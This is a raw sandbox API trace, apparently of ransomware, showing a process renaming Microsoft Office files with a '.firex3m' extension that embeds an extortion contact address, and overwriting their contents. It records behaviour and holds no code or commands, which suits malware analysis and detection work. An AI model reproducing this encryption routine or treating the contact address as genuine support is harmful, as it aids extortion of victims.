[0134.649] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", len=0x44 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 1 [0134.649] GetProcessHeap () returned 0x630000 [0134.649] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x17c) returned 0x66a3e0 [0134.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.650] CloseHandle (hObject=0x4bc) returned 1 [0134.650] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0009~1.FIR")) returned 0x6d4f80 [0134.652] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0134.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.652] GetProcessHeap () returned 0x630000 [0134.652] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x401) returned 0x72309d0 [0134.652] GetProcessHeap () returned 0x630000 [0134.652] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x401) returned 0x6faab78 [0134.652] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.652] ReadFile (in: hFile=0x4bc, lpBuffer=0x72309d0, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72309d0*, lpNumberOfBytesRead=0x5c3ff0c*=0x3e0, lpOverlapped=0x0) returned 1 [0134.669] GetProcessHeap () returned 0x630000 [0134.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0134.669] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.669] WriteFile (in: hFile=0x4bc, lpBuffer=0x6faab78*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faab78*, lpNumberOfBytesWritten=0x5c3ff0c*=0x3e0, lpOverlapped=0x0) returned 1 [0134.669] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.669] WriteFile (in: hFile=0x4bc, lpBuffer=0x6faaf57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf57*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.669] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.669] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.669] CloseHandle (hObject=0x4bc) returned 1 [0134.670] GetProcessHeap () returned 0x630000 [0134.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faab78 | out: hHeap=0x630000) returned 1 [0134.670] GetProcessHeap () returned 0x630000 [0134.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72309d0 | out: hHeap=0x630000) returned 1 [0134.670] GetProcessHeap () returned 0x630000 [0134.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0134.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16382647, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0xaec7496, dwReserved1=0x72309c8, cFileName="BL00098_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0009~1.FIR")) returned 0x6d53c0 [0134.670] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0134.671] Sleep (dwMilliseconds=0x1) [0134.681] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", len=0x44 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 1 [0134.681] GetProcessHeap () returned 0x630000 [0134.681] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x178) returned 0x66a3e0 [0134.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0134.681] CloseHandle (hObject=0x694) returned 1 [0134.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0004~1.FIR")) returned 0x6d5200 [0134.682] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0134.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0134.683] GetProcessHeap () returned 0x630000 [0134.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ec1) returned 0x6fcfec0 [0134.683] GetProcessHeap () returned 0x630000 [0134.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ec1) returned 0x6fd1d90 [0134.683] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.683] ReadFile (in: hFile=0x694, lpBuffer=0x6fcfec0, nNumberOfBytesToRead=0x1ea0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcfec0*, lpNumberOfBytesRead=0x5c3ff0c*=0x1ea0, lpOverlapped=0x0) returned 1 [0136.738] GetProcessHeap () returned 0x630000 [0136.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0136.738] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.738] WriteFile (in: hFile=0x694, lpBuffer=0x6fd1d90*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd1d90*, lpNumberOfBytesWritten=0x5c3ff0c*=0x1ea0, lpOverlapped=0x0) returned 1 [0136.738] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.739] WriteFile (in: hFile=0x694, lpBuffer=0x6fd3c2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd3c2f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.739] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.739] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.739] CloseHandle (hObject=0x694) returned 1 [0136.740] GetProcessHeap () returned 0x630000 [0136.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd1d90 | out: hHeap=0x630000) returned 1 [0136.740] GetProcessHeap () returned 0x630000 [0136.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcfec0 | out: hHeap=0x630000) returned 1 [0136.740] GetProcessHeap () returned 0x630000 [0136.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0136.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1772e03b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1eda, dwReserved0=0xaec7496, dwReserved1=0x6fcfeb8, cFileName="BL00045_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0004~1.FIR")) returned 0x6d5280 [0136.740] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0136.740] Sleep (dwMilliseconds=0x1) [0138.473] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml", len=0x59 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml") returned 1 [0138.475] GetProcessHeap () returned 0x630000 [0138.475] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a58) returned 0x72b0508 [0138.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.488] CloseHandle (hObject=0x68c) returned 1 [0138.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde3, dwReserved0=0xf00000f, dwReserved1=0x69002e, cFileName="Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FRANKL~1.FIR")) returned 0x6d52c0 [0138.489] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0138.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.489] GetProcessHeap () returned 0x630000 [0138.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x7280120 [0138.489] GetProcessHeap () returned 0x630000 [0138.489] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727e410 [0138.489] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.489] ReadFile (in: hFile=0x68c, lpBuffer=0x7280120, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280120*, lpNumberOfBytesRead=0x5c3ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.504] GetProcessHeap () returned 0x630000 [0138.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0138.504] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.505] WriteFile (in: hFile=0x68c, lpBuffer=0x727e410*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727e410*, lpNumberOfBytesWritten=0x5c3ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0138.505] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.505] WriteFile (in: hFile=0x68c, lpBuffer=0x727f1ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727f1ef*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.505] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.505] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.505] CloseHandle (hObject=0x68c) returned 1 [0138.505] GetProcessHeap () returned 0x630000 [0138.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727e410 | out: hHeap=0x630000) returned 1 [0138.505] GetProcessHeap () returned 0x630000 [0138.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7280120 | out: hHeap=0x630000) returned 1 [0138.505] GetProcessHeap () returned 0x630000 [0138.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0139.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1881b879, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe07, dwReserved0=0x5c3fd20, dwReserved1=0x7280120, cFileName="Franklin Gothic.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FRANKL~1.FIR")) returned 0x6d5200 [0139.978] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.978] Sleep (dwMilliseconds=0x1) [0140.884] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms", len=0x49 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 1 [0140.884] GetProcessHeap () returned 0x630000 [0140.884] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c78) returned 0x7203db8 [0140.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0142.702] CloseHandle (hObject=0x6e0) returned 1 [0142.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4e9d706, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~3.FIR")) returned 0x6d5380 [0142.945] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0142.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0142.945] GetProcessHeap () returned 0x630000 [0142.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29a1) returned 0x72c2898 [0142.945] GetProcessHeap () returned 0x630000 [0142.945] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29a1) returned 0x721128 [0142.945] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.945] ReadFile (in: hFile=0x6e0, lpBuffer=0x72c2898, nNumberOfBytesToRead=0x2980, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c2898*, lpNumberOfBytesRead=0x5c3ff0c*=0x2980, lpOverlapped=0x0) returned 1 [0142.986] GetProcessHeap () returned 0x630000 [0142.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0142.987] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.987] WriteFile (in: hFile=0x6e0, lpBuffer=0x721128*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721128*, lpNumberOfBytesWritten=0x5c3ff0c*=0x2980, lpOverlapped=0x0) returned 1 [0142.987] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.987] WriteFile (in: hFile=0x6e0, lpBuffer=0x723aa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723aa7*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.987] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.987] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.987] CloseHandle (hObject=0x6e0) returned 1 [0142.987] GetProcessHeap () returned 0x630000 [0142.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721128 | out: hHeap=0x630000) returned 1 [0142.987] GetProcessHeap () returned 0x630000 [0142.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c2898 | out: hHeap=0x630000) returned 1 [0142.987] GetProcessHeap () returned 0x630000 